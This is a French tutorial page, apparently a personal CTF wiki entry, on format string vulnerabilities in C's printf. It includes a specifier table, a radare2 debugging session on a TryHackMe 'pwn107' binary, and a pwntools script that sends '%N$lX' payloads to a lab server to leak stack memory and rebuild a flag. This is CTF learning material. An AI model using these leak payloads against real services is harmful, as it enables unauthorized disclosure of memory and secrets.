Format String
Les vulnérabilités format string sont causées par une erreur dans l'exécution de certaines fonctions en C telles que printf.
En effet, ces fonctions attendent normalement deux arguments : printf(format:<format>, <data to print>).
Quand la fonction est mal exécutée, il est ainsi possivle de faire fuiter la mémoire en utilisant les format specifiers :
| Text | Description |
|---|---|
| % | Output a literal % character; does not accept flags, width, precision or length fields |
| d, i | (signed) int formatted as decimal; %d and %i are synonymous except when used with scanf |
| u | unsigned int formatted as decimal. |
| f, F | double formatted as fixed-point; f and F only differs in how the strings for an infinite number or NaN are printed (inf, infinity and nan for f; INF, INFINITY and NAN for F) |
| e, E | double formatted as in exponential notation d.ddde±dd; E results in E rather than e to introduce the exponent; the exponent always contains at least two digits; if the value is zero, the exponent is 00; in Windows, the exponent contains three digits by default, e.g. 1.5e002, but this can be altered by Microsoft-specific _set_output_format function |
| g, G | double formatted as either fixed-point or exponential notation, whichever is more appropriate for its magnitude; g uses lower-case letters, G uses upper-case letters; this type differs slightly from fixed-point notation in that insignificant zeroes to the right of the decimal point are not included, and that the precision field specifies the total number of significant digits rather than the digits after the decimal; the decimal point is not included on whole numbers |
| x, X | unsigned int formatted as hexadecimal; x uses lower-case letters and X uses upper-case |
| o | unsigned int formatted as octal |
| s | null-terminated string |
| c | char |
| p | Pointer formatted in an implementation-defined way |
| a, A | double in hexadecimal notation, starting with 0x or 0X. a uses lower-case letters, A uses upper-case letters |
| n | Outputs nothing but writes the number of characters written so far into an integer pointer parameter; in Java this prints a newline |
Les paramètres leakeront dans l'ordre associé à l'architecture : RDI > RSI > RDX > RCX > R8 > R9 > Stack (depuis le RSP).
Il est possible de préciser l'index de largument rechercé : %6$X
Pour vérifier ce que l'on fait, on lance le programme dans r2, on ajoute un breakpoint juste avant notre memory leak pour voir ou se trouve la donnée que l'on cherche et vérifier qu'on leak la bonne valeur :
r2 -AAAA pwn107-1644307530397.pwn107
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Reanalyzing graph references to adjust functions count (aarr)
INFO: Autoname all functions (.afna@@c:afla)
[0x00000780]> pdf @main
;-- main:
; ICOD XREF from sym._start @ 0x79d(r)
┌ 243: sym.main ();
│ afv: vars(3:sp[0x10..0x48])
│ 0x00000992 55 push rbp
│ 0x00000993 4889e5 mov rbp, rsp
│ 0x00000996 4883ec40 sub rsp, 0x40
│ 0x0000099a 64488b0425.. mov rax, qword fs:[0x28]
│ 0x000009a3 488945f8 mov qword [canary], rax
│ 0x000009a7 31c0 xor eax, eax
...
[0x00000780]> db 0x00000a14
[0x00000780]> db 0x00000a19
[0x00000780]> ood
INFO: File dbg:///home/arthur/case/pwn107-1644307530397.pwn107 reopened in read-write mode
[0x7b69e6d75440]> dc
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 107
You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? INFO: hit breakpoint at: 0x594910600a14
[0x594910600a14]> dc
%15$lX
INFO: hit breakpoint at: 0x594910600a19
[0x585ed0000a14]> pxr @ rbp - 0x8
0x7ffc42d6e588 0x7a421eb3f6ad9200 ......Bz
0x7ffc42d6e590 0x0000000000000001 ........ @ rbp 1
0x7ffc42d6e598 0x00007c0774308ca8 ..0t.|.. /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'mov edi, eax' 'libc.so.6'
0x7ffc42d6e5a0 0x00007ffc42d6e690 ...B.... [stack] stack R W 0x7ffc42d6e698
...
Petit example de script en python qui exploite cette vulnérabilité pour sortir un flag :
from pwn import *
import codecs
flag = ''
context.quiet
context.log_level = "error"
#io = process('./pwn106-user-1644300441063.pwn106-user')
start_index = 6
ongoing = True
while ongoing:
print(f'Flag : {flag}', end='\r')
io = remote('10.128.147.159', 9006)
io.recvregex(b'giveaway:')
payload = f'%{start_index}$lX'
io.sendline(payload.encode('ascii'))
io.recvregex(b'Thanks ')
leak = bytearray.fromhex(io.recvline().decode('utf-8'))
leak.reverse()
leak = little = ''.join(f"{n:02X}" for n in leak)
flag += codecs.decode(leak, 'hex').decode('utf-8')
if '}' in flag:
print(f'[+] Found flag : {flag}')
break
else:
start_index += 1
No comments to display
No comments to display